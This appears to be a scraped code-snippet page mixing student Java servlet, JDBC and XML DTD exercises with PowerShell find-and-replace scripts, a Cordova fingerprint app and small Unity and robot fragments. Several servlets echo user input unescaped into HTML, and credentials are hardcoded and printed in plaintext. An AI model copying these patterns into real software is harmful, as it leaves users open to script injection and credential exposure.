        if(collision.GetContact(0).normal == Vector3.up)
        {
            isGrounded = true;
        }
    }
}
remote_control_code_enabled = True
myVariable = 0

def when_started1():
    global myVariable, remote_control_code_enabled
    touchled_8.set_color(Color.GREEN)

def onevent_bumper_2_pressed_0():
    global myVariable, remote_control_code_enabled
    remote_control_code_enabled = False
    for repeat_count in range(6):
        touchled_8.set_color(Color.RED)
        wait(0.25, SECONDS)
        touchled_8.set_color(Color.GREEN)
        wait(0.25, SECONDS)
        wait(20, MSEC)
    remote_control_code_enabled = True
    touchled_8.set_color(Color.GREEN)

# system event handlers
bumper_2.pressed(onevent_bumper_2_pressed_0)
# add 15ms delay to make sure events are registered correctly.
wait(15, MSEC)

when_started1()
package com.example.test;



import java.io.IOException;

import java.io.PrintWriter;

import jakarta.servlet.ServletConfig;

import jakarta.servlet.ServletException;

import jakarta.servlet.annotation.WebServlet;

import jakarta.servlet.http.HttpServlet;

import jakarta.servlet.http.HttpServletRequest;

import jakarta.servlet.http.HttpServletResponse;



/**

* Servlet implementation class UserServlet

*/

@WebServlet("/UserServlet")

public class UserServlet extends HttpServlet {

private static final long serialVersionUID = 1L;

/**

* @see HttpServlet#HttpServlet()

*/

public UserServlet() {

super();

System.out.println("Servlet is Instantiated, called once in its lifetime");

}



/**

* @see Servlet#init(ServletConfig)

*/

public void init(ServletConfig config) throws ServletException {

System.out.println("called once for initialization of servlet");

}



/**

* @see Servlet#destroy()

*/

public void destroy() {

System.out.println("Servlet is terminated");

}



/**

* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)

*/



/**

* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)

*/

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

response.setContentType("text/html");

PrintWriter out = response.getWriter();



// Retrieve form data

String name = request.getParameter("name");

String email = request.getParameter("email");

String course = request.getParameter("course");

String branch = request.getParameter("branch");

String hobbies = request.getParameter("hobbies");



// Generate HTML response

out.println("<html><body>");

out.println("<h1>Welcome, " + name + "!</h1>");

out.println("<p>Email: " + email + "</p>");

out.println("<p>Course: " + course + "</p>");

out.println("<p>Branch: " + branch + "</p>");

out.println("<p>Hobbies: " + hobbies + "</p>");

out.println("</body></html>");

}



}



//UserServlet.html

<html>

<body>

<form action="UserServlet" method="POST">

Name: <input type="text" name="name"><br>

Email: <input type="text" name="email"><br>

Course: <input type="text" name="course"><br>

Branch: <input type="text" name="branch"><br>

Hobbies: <input type="text" name="hobbies"><br>

<input type="submit" value="Submit">

</form>

</body>

</html>



// program on request parameters

package com.example.test;



import java.io.IOException;

import java.io.PrintWriter;



import jakarta.servlet.ServletConfig;

import jakarta.servlet.ServletException;

import jakarta.servlet.annotation.WebServlet;

import jakarta.servlet.http.HttpServlet;

import jakarta.servlet.http.HttpServletRequest;

import jakarta.servlet.http.HttpServletResponse;



/**

* Servlet implementation class VotingServlet

*/

@WebServlet("/Voting")

public class VotingServlet extends HttpServlet {

private static final long serialVersionUID = 1L;

public VotingServlet() {

super();

// TODO Auto-generated constructor stub

}



/**

* @see Servlet#init(ServletConfig)

*/

public void init(ServletConfig config) throws ServletException {

System.out.println("Init method is called");

}



/**

* @see Servlet#destroy()

*/

public void destroy() {

System.out.println("Im done with work,Destroy method is called");

}



/**

* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)

*/

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

// TODO Auto-generated method stub

response.getWriter().append("Served at: ").append(request.getContextPath());

String name=request.getParameter("Name");

String age=request.getParameter("Age");

int a=Integer.parseInt(age);

response.setContentType("text/html");

PrintWriter pw=response.getWriter();

if(a<18)

pw.println("<h1> You "+name +" are not Eligble for casting vote!! Wait upto 18 years</h1>");

else

pw.println("<h1> Congrats!!! "+name+" You are Eligble for casting vote!! </h1>");

}



protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

// TODO Auto-generated method stub

doGet(request, response);

}



}

//VotingInterface.html

<!DOCTYPE html>

<html>

<head>

<meta charset="ISO-8859-1">

<title>Insert title here</title>

<style>

div{

background-color:lightgreen;

color:Red;

padding:20px;

margin:20px;

border:2px yellow;

}

</style>

</head>

<body>

<div>

<h1>Checking Voting Credentials </h1>

<form action="Voting" method="get">

<label>Username :</label><input type="text" name="Name" >

<br>

<label>Age: </label><input type="text" name="Age" >

<br><input type="submit" name="submit">

</form>

</div>

</body>

</html>


//  3 . init parameters

<!DOCTYPE html>


<html>


<head>


<meta charset="ISO-8859-1">


<title>Login Page</title>


</head>


<body>


<h2>Login Form</h2>


<form method="POST" action="logininit">


<label for="username">Username:</label>


<input type="text" id="username" name="username"><br><br>


<label for="password">Password:</label>


<input type="password" id="password" name="password"><br><br>


<input type="submit" value="Login">


</form>


</body>


</html>
















package com.example.test;






import java.io.IOException;


import java.io.PrintWriter;


import jakarta.servlet.ServletConfig;


import jakarta.servlet.ServletException;


import jakarta.servlet.annotation.WebServlet;


import jakarta.servlet.http.HttpServlet;


import jakarta.servlet.http.HttpServletRequest;


import jakarta.servlet.http.HttpServletResponse;






/**


* Servlet implementation class LoginServletInit




@WebServlet("/Logininit")*/






public class LoginServletInit extends HttpServlet {


private static final long serialVersionUID = 1L;


private String validUsername;


private String validPassword;


private String email;






/**


* Default constructor. 


*/


public LoginServletInit() {


// TODO Auto-generated constructor stub


}



// The init method reads the init parameters defined in web.xml


@Override


public void init(ServletConfig config) throws ServletException {


super.init(config);


validUsername = config.getInitParameter("username");


validPassword = config.getInitParameter("password");


email=config.getInitParameter("email");


}






// Handle POST request for login validation


@Override


protected void doPost(HttpServletRequest request, HttpServletResponse response) 


throws ServletException, IOException {


// Retrieve user input from the login form


String username = request.getParameter("username");


String password = request.getParameter("password");






// Set the response type


response.setContentType("text/html");


PrintWriter out = response.getWriter();


System.out.println("email = "+email );


// Check credentials


if (validUsername.equals(username) && validPassword.equals(password)) {


out.println("<html><body>");


out.println("<h1>Login successful! Welcome, " + username + "Your email is "+email+" </h1>");


out.println("</body></html>");


} else {


out.println("<html><body>");


out.println("<h1>Invalid credentials. Please try again.</h1>");


out.println("<a href=\"logininitparameter.html\">Go back to Login</a>");


out.println("</body></html>");


}






out.close();


}


}






//web.xml




<?xml version="1.0" encoding="UTF-8"?>


<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">








<servlet>


<servlet-name>LoginServletInit</servlet-name>


<servlet-class>com.example.test.LoginServletInit</servlet-class>


<!-- Init parameters for login credentials -->


<init-param>


<param-name>username</param-name>


<param-value>ramesh</param-value>


</init-param>


<init-param>


<param-name>password</param-name>


<param-value>fattah</param-value>


</init-param>


<init-param>


<param-name>email</param-name>


<param-value>ramesh@gmail.com</param-value>


</init-param>


</servlet>



<servlet-mapping>


<servlet-name>LoginServletInit</servlet-name>


<url-pattern>/logininit</url-pattern>


</servlet-mapping>


</web-app>


TIRUNAGARI SHREYA
​
cse2022e
​
If (select-string -path "c:\Windows\System32\drivers\etc\hosts" -pattern "String to look for") `
    {(Get-Content c:\Windows\System32\drivers\etc\hosts).replace('String to look for', 'String to replace with') | Set-Content c:\Windows\System32\drivers\etc\hosts}
    Else{"Nothing happened"}
$path=$args[0]
$oldString=$args[1]
$newString=$args[2]

Get-ChildItem -Path $path -Recurse -File | 
ForEach-Object { 
    (Get-Content $_.FullName).replace($oldString,$newString) | Set-Content $_.FullName 
}
$FileName =''
$OldLine = ''
$NewLine = ''
$Drives = Get-PSDrive -PSProvider FileSystem
foreach ($Drive in $Drives) {
    Push-Location $Drive.Root
        Get-ChildItem -Filter "$FileName" -Recurse | ForEach { 
            (Get-Content $_.FullName).Replace($OldLine, $NewLine) | Out-File $_.FullName
        }
    Pop-Location
}
# Find and replace text in each pipeline string.  Omit the -Replace parameter to delete
# text instead.  Use the -SimpleMatch switch to work with literal text instead of regular
# expressions.  Comparisons are case-sensitive unless the -IgnoreCase switch is used.
Filter Edit-String {
    Param([string]$Find, [string]$Replace='', [switch]$SimpleMatch, [switch]$IgnoreCase) 

    if ($SimpleMatch) {
        if ($IgnoreCase) {
            return $_.Replace($Find, $Replace,
                [System.StringComparison]::OrdinalIgnoreCase)
        }
        return $_.Replace($Find, $Replace)
    }
    if ($IgnoreCase) {
        return $_ -replace $Find, $Replace
    }
    return $_ -creplace $Find, $Replace
}

Set-Alias replace Edit-String
Set-Alias sc Set-Content  
 Save
Usage

# 1 file
$f = a.txt; gc $f | replace '[MYID]' 'MyValue' -SimpleMatch | sc $f

# 0 to many files
gci *.txt | % { gc $_ | replace '\[MYID\]' 'MyValue' | sc $_ }

# Several replacements chained together
... | replace '[1-9]' T | replace a b -IgnoreCase | replace 'delete me' | ...

# Alias cheat sheet
#  gci Get-ChildItem
#  gc  Get-Content
#  sc  Set-Conent
#  %   ForEach-Object
function Replace-AllStringsInFile($SearchString,$ReplaceString,$FullPathToFile)
{
    $content = [System.IO.File]::ReadAllText("$FullPathToFile").Replace("$SearchString","$ReplaceString")
    [System.IO.File]::WriteAllText("$FullPathToFile", $content)
}
// config.xml
<?xml version='1.0' encoding='utf-8'?>
<widget id="com.example.fingerprintauth" version="1.0.0" xmlns="http://www.w3.org/ns/widgets">
    <name>FingerprintAuth</name>
    <description>Aplicación de autenticación por huella digital</description>
    <author email="dev@example.com" href="http://example.com">
        Tu Nombre
    </author>
    <content src="index.html" />
    <plugin name="cordova-plugin-fingerprint-aio" spec="^4.0.0" />
    <access origin="*" />
</widget>

// www/index.html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Autenticación por Huella Digital</title>
    <link rel="stylesheet" href="css/style.css">
</head>
<body>
    <div class="container">
        <h1>Bienvenido</h1>
        <button id="authenticateButton">Autenticar con Huella Digital</button>
        <p id="status"></p>
    </div>
    <script type="text/javascript" src="cordova.js"></script>
    <script type="text/javascript" src="js/index.js"></script>
</body>
</html>

// www/css/style.css
.container {
    padding: 20px;
    text-align: center;
}

button {
    padding: 15px 30px;
    font-size: 16px;
    background-color: #4CAF50;
    color: white;
    border: none;
    border-radius: 5px;
    margin: 20px 0;
    cursor: pointer;
}

#status {
    margin-top: 20px;
    font-weight: bold;
}

// www/js/index.js
document.addEventListener('deviceready', onDeviceReady, false);

function onDeviceReady() {
    document.getElementById('authenticateButton').addEventListener('click', authenticate);
    
    // Verificar si el dispositivo soporta la autenticación biométrica
    Fingerprint.isAvailable(function(result) {
        // result contiene el tipo de biometría disponible
        console.log("Tipo de biometría: " + result);
    }, function(error) {
        console.error("Error al verificar biometría: " + error);
        document.getElementById('status').textContent = 
            "Tu dispositivo no soporta autenticación por huella digital";
    });
}

function authenticate() {
    Fingerprint.show({
        title: 'Autenticación Biométrica', // título opcional
        subtitle: 'Por favor, autentícate usando tu huella digital', // subtítulo opcional
        description: 'Toca el sensor de huella digital', // descripción opcional
        fallbackButtonTitle: 'Usar alternativa', // título del botón alternativo
        disableBackup: false // permitir autenticación alternativa
    }, successCallback, errorCallback);
}

function successCallback() {
    document.getElementById('status').textContent = 
        "¡Autenticación exitosa!";
    // Aquí puedes agregar la lógica para después de una autenticación exitosa
}

function errorCallback(error) {
    document.getElementById('status').textContent = 
        "Error en la autenticación: " + error.message;
}
"Good night".replace("night", "day")
// "Good day"

// some with ignoreCase
"Good night".replace("night", "day", true)
// true mean ignoreCase=true
// 1 string glue
listOf("Good", "night").joinToString(" ")
// "Good night"

// 2 modify element in lambda and glue
listOf("Good", "night").joinToString(" ") { if (it == "night") "dreams" else it }
// "Good dreams"
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public class InsertUserServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // Retrieve form data
        String username = request.getParameter("username");
        String email = request.getParameter("email");

        // Database connection parameters
        String jdbcUrl = "jdbc:mysql://localhost:3306/your_database";
        String dbUser = "your_username";
        String dbPassword = "your_password";

        Connection conn = null;
        PreparedStatement pstmt = null;

        try {
            // Load the JDBC driver (optional in recent versions)
            Class.forName("com.mysql.cj.jdbc.Driver");

            // Connect to the database
            conn = DriverManager.getConnection(jdbcUrl, dbUser, dbPassword);

            // SQL insert statement
            String sql = "INSERT INTO users (username, email) VALUES (?, ?)";
            pstmt = conn.prepareStatement(sql);
            pstmt.setString(1, username);  // Set username parameter
            pstmt.setString(2, email);     // Set email parameter

            // Execute the insert
            int rowsInserted = pstmt.executeUpdate();

            // Send a response
            response.setContentType("text/html");
            PrintWriter out = response.getWriter();
            if (rowsInserted > 0) {
                out.println("<h1>User added successfully!</h1>");
            } else {
                out.println("<h1>Failed to add user.</h1>");
            }

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (pstmt != null) pstmt.close();
                if (conn != null) conn.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
    }
}
------------<html>
  <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Add User</title>
</head>
<body>
    <h2>Add New User</h2>
    <form action="InsertUserServlet" method="POST">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username" required><br><br>
        
        <label for="email">Email:</label>
        <input type="email" id="email" name="email" required><br><br>
        
        <input type="submit" value="Add User">
    </form>
</body>
</html>
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public class UpdateEmailServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // Get user input from request
        String userId = request.getParameter("id");
        String newEmail = request.getParameter("email");

        // Database connection parameters
        String jdbcUrl = "jdbc:mysql://localhost:3306/your_database";
        String dbUser = "your_username";
        String dbPassword = "your_password";

        Connection conn = null;
        PreparedStatement pstmt = null;

        try {
            // Step 1: Load the JDBC driver (optional in recent JDBC versions)
            Class.forName("com.mysql.cj.jdbc.Driver");

            // Step 2: Establish connection to the database
            conn = DriverManager.getConnection(jdbcUrl, dbUser, dbPassword);

            // Step 3: Create SQL update query
            String sql = "UPDATE users SET email = ? WHERE id = ?";
            pstmt = conn.prepareStatement(sql);
            pstmt.setString(1, newEmail); // set email parameter
            pstmt.setInt(2, Integer.parseInt(userId)); // set id parameter

            // Step 4: Execute update
            int rowsUpdated = pstmt.executeUpdate();

            // Step 5: Handle response based on update result
            response.setContentType("text/html");
            PrintWriter out = response.getWriter();
            if (rowsUpdated > 0) {
                out.println("<h1>Email updated successfully for user ID: " + userId + "</h1>");
            } else {
                out.println("<h1>No user found with ID: " + userId + "</h1>");
            }

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                // Close resources
                if (pstmt != null) pstmt.close();
                if (conn != null) conn.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
    }
}
---<html>
  <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Update Email</title>
</head>
<body>
    <h2>Update User Email</h2>
    <form action="UpdateEmailServlet" method="POST">
        <label for="id">User ID:</label>
        <input type="text" id="id" name="id" required><br><br>
        
        <label for="email">New Email:</label>
        <input type="email" id="email" name="email" required><br><br>
        
        <input type="submit" value="Update Email">
    </form>
</body>
</html>
Step 1: Create a New Java Project
Create a New Project:
Click on File > New > Java Project.
In the dialog that appears, enter a project name (e.g., XMLValidationProject).
Uncheck the option to create a module-info.java file if it appears.
Click Finish.
Step 2: Create the DTD and XML Files
Create a DTD File:
Right-click on the src folder in your new project in the Package Explorer.
Select New > File.
Name it 'customers.dtd' and click Finish.
Open customers.dtd and add the following content:
xml
<!ELEMENT customers (customer+)>
<!ELEMENT customer (name, email, phone)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT email (#PCDATA)>
<!ELEMENT phone (#PCDATA)>

Create an XML File:
Right-click on the src folder again.
Select New > File.
Name it 'external_dtd.xml' and click Finish.
Open external_dtd.xml and add the following content:
xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE customers SYSTEM "customers.dtd">
<customers>
    <customer>
        <name>Satyam Nayak</name>
        <email>Satyam@nayak.com</email>
        <phone>122-112-1234</phone>
    </customer>
    <customer>
        <name>Sonu N</name>
        <email>Sonu@N.com</email>
        <phone>112-554-9969</phone>
    </customer>
</customers>

Step 3: Create the Java Files
Create a Simple Error Handler Class:
Right-click on the src folder.
Select New > Class.
Name it 'SimpleErrorHandler', and click Finish.
Add the following code to handle validation errors:
java
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXParseException;

public class SimpleErrorHandler implements ErrorHandler {
    @Override
    public void warning(SAXParseException exception) throws SAXParseException {
        System.out.println("Warning: " + exception.getMessage());
    }

    @Override
    public void error(SAXParseException exception) throws SAXParseException {
        System.out.println("Error: " + exception.getMessage());
    }

    @Override
    public void fatalError(SAXParseException exception) throws SAXParseException {
        System.out.println("Fatal error: " + exception.getMessage());
    }
}

Create the Main Validation Class:
Right-click on the src folder.
Select New > Class.
Name it 'ValidateExternalDTD', and check the box to include the public static void main(String[] args) method, then click Finish.
Add the following code for XML validation:
java
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

import java.io.File;
import java.io.IOException;

public class ValidateExternalDTD {
    public static void main(String[] args) {
        try {
            File xmlFile = new File("external_dtd.xml");
            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
            dbFactory.setValidating(true); // Enable validation
            DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
            dBuilder.setErrorHandler(new SimpleErrorHandler());
            Document doc = dBuilder.parse(xmlFile);
            doc.getDocumentElement().normalize();
            System.out.println("XML is valid with External DTD.");
        } catch (ParserConfigurationException | SAXException | IOException e) {
            System.out.println("XML is invalid: " + e.getMessage());
        }
    }
}

Step 4: Run Your Program
Run the Program:
Right-click on the ValidateExternalDTD.java file in the Package Explorer.
Select Run As > Java Application.
View Output:
Check the Console view at the bottom of Eclipse for output messages indicating whether your XML is valid or invalid.
//customers.dtd
<!ELEMENT customers (customer+)>
<!ELEMENT customer (name, email, phone)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT email (#PCDATA)>
<!ELEMENT phone (#PCDATA)>
                
//external_dtd.xml    
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE customers SYSTEM "customers.dtd">
<customers>
    <customer>
        <name>Satyam Nayak</name>
        <email>Satyam@nayak.com</email>
        <phone>122-112-1234</phone>
    </customer>
    <customer>
        <name>Sonu N</name>
        <email>Sonu@N.com</email>
        <phone>112-554-9969</phone>
    </customer>
</customers>
//ValidateExternalDTD.java
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

import java.io.File;
import java.io.IOException;

public class ValidateExternalDTD {
    public static void main(String[] args) {
        try {
            File xmlFile = new File("external_dtd_example.xml");
            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
            dbFactory.setValidating(true); // Enable validation
            DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
            dBuilder.setErrorHandler(new SimpleErrorHandler());
            Document doc = dBuilder.parse(xmlFile);
            doc.getDocumentElement().normalize();
            System.out.println("XML is valid with External DTD.");
        } catch (ParserConfigurationException | SAXException | IOException e) {
            System.out.println("XML is invalid: " + e.getMessage());
        }
    }
}
//internal_dtd.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE customers [
    <!ELEMENT customers (customer+)>
    <!ELEMENT customer (name, email, phone)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT email (#PCDATA)>
    <!ELEMENT phone (#PCDATA)>
]>
<customers>
    <customer>
        <name>Satyam Nayak</name>
        <email>Satyam@nayak.com</email>
        <phone>122-112-1234</phone>
    </customer>
    <customer>
        <name>Sonu N</name>
        <email>Sonu@N.com</email>
        <phone>112-554-9969</phone>
    </customer>
</customers>
// ValidateInternalDTD.java
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

import java.io.File;
import java.io.IOException;

public class ValidateInternalDTD {
    public static void main(String[] args) {
        try {
            File xmlFile = new File("internal_dtd_example.xml");
            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
            dbFactory.setValidating(true); // Enable validation
            DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
            dBuilder.setErrorHandler(new SimpleErrorHandler());
            Document doc = dBuilder.parse(xmlFile);
            doc.getDocumentElement().normalize();
            System.out.println("XML is valid with Internal DTD.");
        } catch (ParserConfigurationException | SAXException | IOException e) {
            System.out.println("XML is invalid: " + e.getMessage());
        }
    }
}
#internal.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookstore [
    <!ELEMENT bookstore (book+)>
    <!ELEMENT book (title, author, year, price)>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT year (#PCDATA)>
    <!ELEMENT price (#PCDATA)>
    <!ATTLIST book category CDATA #REQUIRED>
]>
<bookstore>
    <book category="fiction">
        <title>Harry Potter</title>
        <author>J.K. Rowling</author>
        <year>1997</year>
        <price>29.99</price>
    </book>
    <book category="non-fiction">
        <title>Sapiens</title>
        <author>Yuval Noah Harari</author>
        <year>2014</year>
        <price>19.99</price>
    </book>
</bookstore>
#external.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookstore SYSTEM "bookstore.dtd">
<bookstore>
    <book category="fiction">
        <title>Harry Potter</title>
        <author>J.K. Rowling</author>
        <year>1997</year>
        <price>29.99</price>
    </book>
    <book category="non-fiction">
        <title>Sapiens</title>
        <author>Yuval Noah Harari</author>
        <year>2014</year>
        <price>19.99</price>
    </book>
</bookstore>
#exrternal.dtd
<!ELEMENT bookstore (book+)>
<!ELEMENT book (title, author, year, price)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
<!ATTLIST book category CDATA #REQUIRED>
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class DatabaseOperations {
    public static void main(String[] args) throws ClassNotFoundException {
        String jdbcUrl = "jdbc:oracle:thin:@//localhost:1521/XE"; // Corrected URL
        String user = "system";
        String password = "hari123";
        
        try {
            // Load Oracle JDBC Driver
            Class.forName("oracle.jdbc.driver.OracleDriver");

            // Establish connection
            Connection connection = DriverManager.getConnection(jdbcUrl, user, password);
            System.out.println("Connection established successfully");

            // Create Statement object
            Statement statement = connection.createStatement();

            // 1. Insert Operation
            String insertSQL = "INSERT INTO Users (username, password, email) VALUES ('hari', 'secure@123', 'john@example.com')";
            int insertResult = statement.executeUpdate(insertSQL);
            System.out.println(insertResult + " row(s) inserted.");

            // 2. Select Operation
            String selectSQL = "SELECT * FROM Users";
            ResultSet rs = statement.executeQuery(selectSQL);
            while (rs.next()) {
                System.out.println("UserName: " + rs.getString("username") + ", Password: " + rs.getString("password") +
                                   ", Email: " + rs.getString("email"));
            }

            // 3. Update Operation
            String updateSQL = "UPDATE Users SET email = 'john_new@example.com' WHERE username = 'john_doe'";
            int updateResult = statement.executeUpdate(updateSQL);
            System.out.println(updateResult + " row(s) updated.");

            // Close the resources
            statement.close();
            connection.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class DatabaseOperations {
    public static void main(String[] args) throws ClassNotFoundException {
        String jdbcUrl = "jdbc:oracle:thin:@//localhost:1521/XE";
        String user = "system";
        String password = "hari123";
        
        try {
            // Load Oracle JDBC Driver
            Class.forName("oracle.jdbc.driver.OracleDriver");

            // Establish connection
            Connection connection = DriverManager.getConnection(jdbcUrl, user, password);
            System.out.println("Connection established successfully");

            // 1. Insert Operation with PreparedStatement
            String insertSQL = "INSERT INTO Users (username, password, email) VALUES (?, ?, ?)";
            PreparedStatement insertStatement = connection.prepareStatement(insertSQL);
            insertStatement.setString(1, "hari");
            insertStatement.setString(2, "secure@123");
            insertStatement.setString(3, "john@example.com");
            int insertResult = insertStatement.executeUpdate();
            System.out.println(insertResult + " row(s) inserted.");
            insertStatement.close();

            // 2. Select Operation with PreparedStatement
            String selectSQL = "SELECT * FROM Users";
            PreparedStatement selectStatement = connection.prepareStatement(selectSQL);
            ResultSet rs = selectStatement.executeQuery();
            while (rs.next()) {
                System.out.println("Username: " + rs.getString("username") +
                                   ", Password: " + rs.getString("password") +
                                   ", Email: " + rs.getString("email"));
            }
            selectStatement.close();

            // 3. Update Operation with PreparedStatement
            String updateSQL = "UPDATE Users SET email = ? WHERE username = ?";
            PreparedStatement updateStatement = connection.prepareStatement(updateSQL);
            updateStatement.setString(1, "john_new@example.com");
            updateStatement.setString(2, "john_doe");
            int updateResult = updateStatement.executeUpdate();
            System.out.println(updateResult + " row(s) updated.");
            updateStatement.close();

            // Close the connection
            connection.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
All Important Installation Links

//For oracle database and Run SQL
https://tinyurl.com/oraclexe11g123

//For Java Installation

https://tinyurl.com/java-installation-steps-123
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookstore [
    <!ELEMENT bookstore (book+)>
    <!ELEMENT book (title,author,publisher,price)>
    <!ATTLIST book category CDATA #REQUIRED>
    <!ELEMENT title (#PCDATA)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT publisher (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>
<bookstore>
    <book category="fiction">
        <title>GGG</title>
        <author>hhh</author>
        <publisher>hi</publisher>
        <price>2000</price>
    </book>
</bookstore>
//Cookies



//index.html


<!DOCTYPE html>
<html>
<head>
    <meta charset="ISO-8859-1">
    <title>LoginPage</title>
    <style>
        div {
            display: block;
            height: 600px;
            color: white;
        }
    </style>
</head>
<body style="text-align:center;background-color:green;">
    <div>
        <form action="Cookie1" method="post">
            <h1>Login to Cookie Application</h1>
            <label>Username:</label><input type="text" name="username"><br>
            <label>Password:</label><input type="password" name="password"><br>
            <label>Email:</label><input type="text" name="email"><br>
            <button type="submit" value="Login">Submit</button>
        </form>
    </div>
</body>
</html>


//CookieServlet1.java

import java.io.IOException;
import java.io.PrintWriter;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class CookieServlet1
 */
@WebServlet("/Cookie1")
public class CookieServlet1 extends HttpServlet {
    private static final long serialVersionUID = 1L;

    public CookieServlet1() {
        super();
        // TODO Auto-generated constructor stub
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub
        response.getWriter().append("Served at: ").append(request.getContextPath());
        
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        String name = request.getParameter("username");
        String pass = request.getParameter("password");
        String email = request.getParameter("email");
        
        Cookie ck = new Cookie("username", name);
        Cookie ck1 = new Cookie("emailaddr", email);
        
        response.addCookie(ck);
        response.addCookie(ck1);
        
        out.println("<h1> Hello, welcome " + name + "!!! </h1>");
        out.println("<h1><a href =\"Cookie2\">Course Details</a></h1>");
    }

    /**
     * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub
        doGet(request, response);
    }
}



//CookieServlet2.java


import java.io.IOException;
import java.io.PrintWriter;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class CookieServlet2
 */
@WebServlet("/Cookie2")
public class CookieServlet2 extends HttpServlet {
    private static final long serialVersionUID = 1L;

    /**
     * @see HttpServlet#HttpServlet()
     */
    public CookieServlet2() {
        super();
        // TODO Auto-generated constructor stub
    }

    /**
     * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub
        response.getWriter().append("Served at: ").append(request.getContextPath());
        
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        out.println("<h1> Welcome Back!!!</h1>");
        
        Cookie[] cks = request.getCookies();
        
        if (cks != null) {
            for (int i = 0; i < cks.length; i++) {
                out.println("<h1> " + cks[i].getName() + ": " + cks[i].getValue() + "</h1>");
            }
        } else {
            out.println("<h1>No cookies found!</h1>");
        }
    }

    /**
     * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub
        doGet(request, response);
    }
}
star

Mon Nov 04 2024 20:33:04 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:32:02 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:29:51 GMT+0000 (Coordinated Universal Time)

@sem

star

